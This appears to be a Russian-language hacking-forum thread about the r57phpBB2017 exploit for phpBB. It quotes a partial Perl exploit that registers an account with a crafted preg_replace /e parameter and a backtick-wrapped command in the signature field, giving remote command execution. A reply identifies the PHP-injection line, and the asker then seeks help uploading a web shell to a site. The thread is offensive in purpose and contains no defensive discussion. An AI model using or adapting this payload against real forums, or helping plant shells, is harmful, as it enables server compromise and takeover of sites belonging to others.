r57phpBB2017

[am@tory]

Всем привет! Возник вопрос касаемо сплойта
r57phpBB2017

В обзоре написано

Запускать "perl exp.pl <URL> <cmd>"
Где <URL> - ссылка до форума например http://site.com/phpBB/, <cmd> - нужная команда (о командах читаем тут http://forum.antichat.ru/threadnav7345-1-10.html).

Но к сожалению, по ссылке

Не указан Тема. Если вы пришли по правильной ссылке, пожалуйста сообщите администрации о нерабочей ссылке.


Кто подскажет что там за команды? Заранее спс.


И подскажите что это за строка в сплойте


$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

for($i=0;$i<5;$i++)
{
$rand .= int(rand(9));
}

$name = 'r57phpBB2017xpl'.$rand;
$password = 'r57phpBB2017xpl'.$rand;
$path = $ARGV[0];
$cmd = $ARGV[1];
$xpl->cookie_jar( $cookie_jar );

$res = $xpl->post(
$path.'profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00',

Content => [
'username' => $name,
'email' => $rand.'_bill_gates@microsoft.com',
'new_password' => $password,
'password_confirm' => $password,
'signature' => 'r57:`'.$cmd.'`',
'viewemail' => '0',
'hideonline' => '1',
'notifyreply' => '0',
'notifypm' => '0',
'popup_pm' => '0',
'attachsig' => '0',
'allowbbcode' => '1',
'allowhtml' => '1',
'allowsmilies' => '0',
'mode' => 'register',
'agreed' => 'true',
'coppa' => '0',
'submit' => 'Submit',

Что задает эта строка при реге???

Прошу ногами не пинать) Плохо соображаю, но пытаюсь разобраться.

[AkyHa_MaTaTa]

Команды: Жмяк (http://forum.antichat.ru/thread24516.html)
Сплойты:Жмяк (http://forum.antichat.ru/thread26510.html)

[am@tory]

Хмм, про запуск сплойтов я знаю и кажется я не задавал такого вопроса Оо.

Но все равно спасибо.

о кажется допер.
т е команды запускаются через РСТ шелл???

[ShAnKaR]

это строка как раз самое ключевое в сплоите тоесть это код для preg_replace через который потом php inj идет, во )

[am@tory]

Люди добрые, с командами я не дружу, как оказалось, подскажите можно ли этим сплойтом залить шел и если да, то какой командой?
Буду очень благодарен, оч надо.